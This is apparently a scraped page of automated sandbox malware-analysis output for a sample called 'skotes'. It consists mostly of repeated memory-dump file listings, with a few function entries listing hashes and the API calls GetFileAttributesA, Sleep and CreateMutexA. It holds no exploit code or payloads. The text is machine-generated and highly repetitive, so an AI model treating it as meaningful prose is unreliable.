Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 98d8761d0e4d0e719160df838fe76b4183da29dc3c122e74f7ed7103033d97e1
Instruction ID: 816851b79efc25a60a0a38a6a5ba9e40e9a3624c9d781225fd47c8021829ad51
Opcode Fuzzy Hash: 98d8761d0e4d0e719160df838fe76b4183da29dc3c122e74f7ed7103033d97e1
Instruction Fuzzy Hash: A63107717546088BEB18DB68DD8977EBFA2FF85310F24825CE1149B3D6C7794A808752

Function 005F9CDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005F9CDD
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 4160697bc72b231f1be532b6d02a69e827cb5048c9515f2501da6691bfac383a
Instruction ID: 058803175cf3418181a9b0655137492f061ee3f9629dff00ff541f9a5773c990
Opcode Fuzzy Hash: 4160697bc72b231f1be532b6d02a69e827cb5048c9515f2501da6691bfac383a
Instruction Fuzzy Hash: 8F3113717146488BEB18DB68DDC87BDBFA2EF85310F344618E114DB3D6C7798A808752

Function 005F9F44 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005F9F47
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 11d62ce381ae9c74219dc1f69cc6364ce094b455e79ea353862bef2c85e9a286
Instruction ID: b74a6411d2ed252f5e7935c8505cf8ddb62d2991945c4f43b4d2f29ecad4da56
Opcode Fuzzy Hash: 11d62ce381ae9c74219dc1f69cc6364ce094b455e79ea353862bef2c85e9a286
Instruction Fuzzy Hash: E53115717142088BEB18DB68DD887BDBFA6FF85310F204619E118DB3D6D77A49808752

Function 005FA079 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA07C
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 7351a35cd61331d14d89cee00681cc2d13636a38c375b8e27da3a057ef98c501
Instruction ID: 06cd2ee283d38ca362fc9da1e37686c1b0a0e6acaaddd372ffd6a1a6a3175a8d
Opcode Fuzzy Hash: 7351a35cd61331d14d89cee00681cc2d13636a38c375b8e27da3a057ef98c501
Instruction Fuzzy Hash: 8D3122B17502089BEB089B68DD88B7DBF66AF81310F208218E1189B3D6C77A99808657

Function 005FA1AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA1B1
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 1692f164b85e770a2e45ac83fea2d2afdcd25c6a5bc02de5a5902d389d018410
Instruction ID: 50551e63c32e250c164da8795e9ffd82c17ef127823ca155620e3d2d93e67861
Opcode Fuzzy Hash: 1692f164b85e770a2e45ac83fea2d2afdcd25c6a5bc02de5a5902d389d018410
Instruction Fuzzy Hash: 653115B17502089BEB08DBA8DDC9B7DBF66BF85710F204718E1189B3D6C77A49808757

Function 005FA2E3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA2E6
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
